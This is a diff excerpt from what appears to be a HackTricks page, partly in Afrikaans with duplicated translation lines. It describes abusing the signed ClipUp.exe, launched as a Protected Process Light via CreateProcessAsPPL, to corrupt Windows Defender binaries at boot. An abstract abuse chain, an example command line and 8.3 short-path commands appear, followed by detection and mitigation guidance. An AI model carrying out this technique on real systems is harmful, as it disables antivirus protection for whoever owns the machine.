@ -796,42 +831,42 @@ CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe <args>
# example: spawn an anti-malware signed component at level 3
CreateProcessAsPPL.exe 3 <anti-malware-signed-exe> <args>
```
LOLBIN-primitief: ClipUp.exe
- Die gesigneerde stelsel-binarie `C:\Windows\System32\ClipUp.exe` maak 'n nuwe proses van homself en aanvaar 'n parameter om 'n loglêer na 'n deur die roeper-gespesifiseerde pad te skryf.
- Wanneer dit as 'n PPL-proses begin word, vind die lêerskryf plaas met PPL-ondersteuning.
- ClipUp kan nie paadjies met spasies ontleed nie; gebruik 8.3 kortpaadjies om na normaalweg beskermde plekke te wys.
LOLBIN primitive: ClipUp.exe
- Die getekende stelsel-binary `C:\Windows\System32\ClipUp.exe` start homself en aanvaar 'n parameter om 'n log-lêer te skryf na 'n deur die oproeper-gespesifiseerde pad.
- Wanneer dit as 'n PPL-proses gelanseer word, vind die lêerskryf plaas met PPL-ondersteuning.
- ClipUp kan nie paaie met spasies ontleed nie; gebruik 8.3-kortpaaie om na normaalweg beskermde liggings te wys.
8.3 kortpaadjie-hulpmiddels
- Lys kortname: `dir /x` in elke ouermap.
- Bepaal kortpad in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
8.3 short path helpers
- Lys kortname: `dir /x` in elke ouerdirektorie.
- Lei kortpad af in cmd: `for %A in ("C:\ProgramData\Microsoft\Windows Defender\Platform") do @echo %~sA`
Misbruikketting (abstrak)
1) Begin die PPL-geskikte LOLBIN (ClipUp) met `CREATE_PROTECTED_PROCESS` deur 'n launcher te gebruik (bv. CreateProcessAsPPL).
2) Gee die ClipUp log-pad-argument om 'n lêerskepping in 'n beskermde AV-gids te dwing (bv. Defender Platform). Gebruik 8.3 kortname indien nodig.
3) As die teiken-binarie normaalweg deur die AV oop/gesluit is terwyl dit loop (bv. MsMpEng.exe), skeduleer die skryf by opstart voordat die AV begin deur 'n auto-start service te installeer wat betroubaar vroeër loop. Valideer die opstartvolgorde met Process Monitor (boot logging).
4) By heropstart vind die PPL-ondersteunde skryf plaas voordat die AV sy binarieë sluit, wat die teikenlêer korrupteer en die opstart verhoed.
Abuse chain (abstract)
1) Start die PPL-gefasiliteerde LOLBIN (ClipUp) met `CREATE_PROTECTED_PROCESS` deur 'n launcher te gebruik (bv., CreateProcessAsPPL).
2) Gee die ClipUp log-pad-argument om 'n lêer-kreatie in 'n beskermde AV-direktorie af te dwing (bv., Defender Platform). Gebruik 8.3-kortname indien nodig.
3) As die teiken-binary gewoonlik deur die AV oop/gesluit is terwyl dit loop (bv., MsMpEng.exe), skeduleer die skryf tydens boot voordat die AV begin deur 'n auto-start service te installeer wat betroubaar vroeër loop. Valideer die boot-volgorde met Process Monitor (boot logging).
4) By herlaai gebeur die PPL-ondersteunde skryf vóór die AV sy binaries sluit, wat die teikenlêer korrupteer en opstart verhoed.
Example invocation (paths redacted/shortened for safety):
```text
# Run ClipUp as PPL at Windows signer level (1) and point its log to a protected folder using 8.3 names
CreateProcessAsPPL.exe 1 C:\Windows\System32\ClipUp.exe -ppl C:\PROGRA~3\MICROS~1\WINDOW~1\Platform\<ver>\samplew.dll
```
Notes and constraints
- Jy kan nie die inhoud wat `ClipUp` skryf beheer nie, behalwe vir die plasing; die primitief is meer geskik vir korrupsie as vir presiese inhoudsinspuiting.
- Vereis plaaslike admin/SYSTEM om 'n diens te installeer/te begin en 'n herlaai-venster.
- Tydsberekening is kritiek: die teiken mag nie oop wees nie; uitvoering tydens opstart vermy lêerlocke.
Aantekeninge en beperkings
- Jy kan nie die inhoud wat ClipUp skryf beheer nie, behalwe die plasing; die primitief is meer geskik vir korrupsie as vir presiese inhoudsinspuiting.
- Vereis plaaslike admin/SYSTEM om 'n diens te installeer/te begin en 'n herbeginvenster.
- Tydsberekening is krities: die teiken mag nie oop wees nie; uitvoering tydens opstart vermy lêerslotte.
Detections
- Proses-skepping van `ClipUp.exe` met ongewone argumente, veral waar die ouerproses 'n nie-standaard opstarter is, rondom opstart.
- Nuwe dienste wat gekonfigureer is om verdagte binaries outomaties te begin en wat konsekwent voor Defender/AV begin. Ondersoek diens-skepping/modifikasie wat voor Defender se opstartfoute plaasgevind het.
- Lêer-integriteitsmonitering op Defender-binaries/Platform-gidse; onverwagte lêerskeppings/modifikasies deur prosesse met protected-process flags.
Opsporing
- Proseskepping van `ClipUp.exe` met ongebruiklike argumente, veral wanneer dit deur nie-standaard launchers as ouerprosesse gelanseer word, rondom opstart.
- Nuwe dienste wat gekonfigureer is om verdagte binaries outomaties te begin en wat gereeld voor Defender/AV begin. Ondersoek diensskepping/-wysiging vóór Defender opstartfoute.
- Lêer-integriteitsmonitering op Defender binaries/Platform directories; onverwagte lêerskeppings/-wysigings deur prosesse met protected-process-vlae.
- ETW/EDR telemetrie: kyk vir prosesse geskep met `CREATE_PROTECTED_PROCESS` en abnormale PPL-vlakgebruik deur nie-AV binaries.
Mitigations
- WDAC/Code Integrity: beperk watter gesigneerde binaries as PPL mag hardloop en onder watter ouerprosesse; blokkeer ClipUp-aanroep buite geldige kontekste.
- Diens-higiëne: beperk skepping/modifikasie van outo-start dienste en monitor manipulasie van opstartvolgorde.
- Verseker dat Defender tamper protection en early-launch protections geaktiveer is; ondersoek opstartfoute wat op binêre korrupsie dui.
- Oorweeg om 8.3 short-name generering op volumes wat security tooling huisves te deaktiveer indien dit versoenbaar is met jou omgewing (toets deeglik).
Versagtingsmaatreëls
- WDAC/Code Integrity: beperk watter signed binaries as PPL mag loop en onder watter ouerprosesse; blokkeer ClipUp-aanroepe buite wettige kontekste.
- Dienshigiëne: beperk skepping/wysiging van outo-start dienste en monitor beginvolgorde-manipulasie.
- Verseker Defender tamper protection en early-launch protections is aangeskakel; ondersoek opstartfoute wat binêre korrupsie aandui.
- Oorweeg om 8.3 kort-naam generering op volumes wat security tooling huisves uit te skakel as dit versoenbaar is met jou omgewing (toets deeglik).
References for PPL and tooling
- Microsoft Protected Processes overview: https://learn.microsoft.com/windows/win32/procthread/protected-processes
@ -840,7 +875,7 @@ References for PPL and tooling
- CreateProcessAsPPL launcher: https://github.com/2x7EQ13/CreateProcessAsPPL
- Technique writeup (ClipUp + PPL + boot-order tamper): https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
## References
## Verwysings
- [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
@ -854,4 +889,6 @@ References for PPL and tooling
- [CreateProcessAsPPL launcher](https://github.com/2x7EQ13/CreateProcessAsPPL)
- [Zero Salarium – Countering EDRs With The Backing Of Protected Process Light (PPL)](https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html)
- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../banners/hacktricks-training.md}}